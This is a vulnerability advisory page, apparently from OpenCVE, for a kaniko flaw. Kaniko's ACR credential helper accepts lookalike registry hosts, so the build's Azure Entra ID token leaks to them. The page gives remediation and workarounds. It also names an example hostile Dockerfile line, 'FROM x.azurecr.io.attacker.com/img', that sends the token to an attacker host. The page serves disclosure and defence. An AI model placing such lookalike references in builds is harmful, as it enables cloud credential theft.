Description
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
Published: 2026-11-02
Score: 9.3 Critical
EPSS: n/a
KEV: No
Impact: Credential Theft via Token Capture
Action: Immediate Patch
AI Analysis

Impact

Kaniko before version 1.25.20 uses the docker-credential-acr-env helper to obtain Azure Container Registry tokens. The helper accepts any hostname that contains .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us based on an unanchored regular expression. When a Dockerfile references an image on a look‑alike host such as x.azurecr.io.attacker.com, the helper contacts that host for a token, causing Kaniko to POST the build’s Azure AD service principal, federated identity, or managed identity access token to the attacker‑controlled registry. The stolen token can be used to access Azure Resource Manager resources and exchange it for credentials to any ACR registry the identity can reach, enabling unauthorized access to resources without the build having to run a RUN instruction or push an image.

Affected Systems

The affected product is Kaniko (chainguard-forks:kaniko). All releases prior to 1.25.20 are vulnerable. The fix is available in version 1.25.20 and later, where the helper is hardened to accept a host only if it equals mcr.microsoft.com or a valid Azure ACR domain exactly ending in .azurecr.io, .azurecr.cn, .azurecr.de, or .azurecr.us. The sponsor advises rebuilding the executor, warmer, and docker‑credential‑acr‑env components from v1.25.20 or newer.

Risk and Exploitability

The CVSS score of 9.3 indicates a high‑severity vulnerability. EPSS data is not available, and the issue is not listed in CISA’s KEV catalog. The attack vector is indirect: it requires a build to have an Azure identity in its environment and for the build to reference a registry host controlled by an attacker. Once an attacker obtains the token, they can perform any actions allowed to the identity in Azure Resource Manager and can acquire other ACR credentials. The risk is significant in CI/CD pipelines that use Kaniko for image building against Azure resources, especially when untrusted Dockerfiles are permitted.

Generated by OpenCVE AI on November 2, 2026 at 18:20 UTC.

Remediation

Vendor Solution

Upgrade to kaniko 1.25.20 or later. The repository publishes no binaries or images, so rebuild the executor, the warmer and docker-credential-acr-env from 1.25.20 or later. Go module consumers should update github.com/chainguard-dev/kaniko to 1.25.20 or later. The fixed version carries a patched copy of the helper under third_party/docker-credential-acr-env that accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us.

Vendor Workaround

Do not let untrusted builds reach an Azure identity: remove Azure credentials, federated tokens, MSI_ENDPOINT and MSI_SECRET from the build environment, and block access to the Instance Metadata Service (169.254.169.254) from build pods. If kaniko's built-in ACR authentication is not needed, set AZURE_ENVIRONMENT to a value that names no Azure cloud (for example AZURE_ENVIRONMENT=none) in the kaniko container. If config.json sets "credsStore": "acr-env", replace it with per-host credHelpers entries for your own ACR registries; on its own this closes only the standalone-binary path. If untrusted Dockerfiles were built with an Azure identity available, treat access tokens issued to that identity during those builds as compromised, review Entra ID sign-in logs and Azure activity logs, and rotate secrets the identity could read through Azure Resource Manager.

OpenCVE Recommended Actions

  • Upgrade Kaniko to version 1.25.20 or newer.
  • Remove Azure credentials, federated tokens, MSI_ENDPOINT and MSI_SECRET from build environments, and block access to the Instance Metadata Service (169.254.169.254) from build pods to prevent token leakage.
  • Set AZURE_ENVIRONMENT to a value that does not name an Azure cloud (e.g., AZURE_ENVIRONMENT=none) or replace the "credsStore": "acr-env" configuration with per-host credHelpers entries for your own ACR registries to limit helper usage.
  • If untrusted Dockerfiles were already built with an Azure identity available, treat the issued tokens as compromised, review Entra ID sign‑in logs, audit Azure activity logs, and rotate secrets for any policies that the identity could use.

Generated by OpenCVE AI on November 2, 2026 at 18:20 UTC.

Tracking

Sign in to view the affected projects.

Advisories

No advisories yet.

History

Mon, 02 Nov 2026 18:30:00 +0000

Type Values Removed Values Added
Metrics ssvc

{'options': {'Automatable': 'no', 'Exploitation': 'none', 'Technical Impact': 'total'}, 'version': '2.0.3'}

Mon, 02 Nov 2026 17:00:00 +0000

Type Values Removed Values Added
Description kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
Title kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts
Weaknesses CWE-346
CWE-522
References
Metrics cvssV3_1

{'score': 9.3, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N'}

Subscriptions

No data.

cve-icon MITRE

Status: PUBLISHED

Assigner: chainguard

Published:

Updated: 2026-11-02T18:27:36.537Z

Reserved: 2026-10-05T19:21:04.930Z

Link: CVE-2026-105769

cve-icon Vulnrichment

Updated: 2026-11-02T17:12:01.908Z

cve-icon NVD

Status : Received

Published: 2026-11-02T17:17:32.670

Modified: 2026-11-02T17:17:32.670

Link: CVE-2026-105769

cve-icon Redhat

No data.

cve-icon OpenCVE Enrichment

Updated: 2026-11-02T18:30:17Z

Weaknesses
  • CWE-346

    Origin Validation Error

  • CWE-522

    Insufficiently Protected Credentials